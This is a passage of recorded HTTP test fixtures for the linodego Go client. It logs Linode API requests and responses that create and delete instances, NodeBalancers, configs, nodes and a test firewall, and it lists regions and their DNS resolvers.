"ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-gj9js097m74d","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708269, "label": "go-test-ins-gj9js097m74d", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.124"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708269/ips method: POST response: body: '{"address": "192.168.159.77", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708269, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.77:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338/nodes method: POST response: body: '{"id": 516206618, "address": "192.168.159.77:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670338, "nodebalancer_id": 441120}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "181" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338/nodes/516206618 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708269 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerNode_Get.yaml000066400000000000000000000620751455402072200322330ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228214, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228214}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441125, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-32.ip.linodeusercontent.com", "ipv4": "172.232.87.32", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125/configs method: POST response: body: '{"id": 670343, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441125, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125/configs/670343 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441125 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter 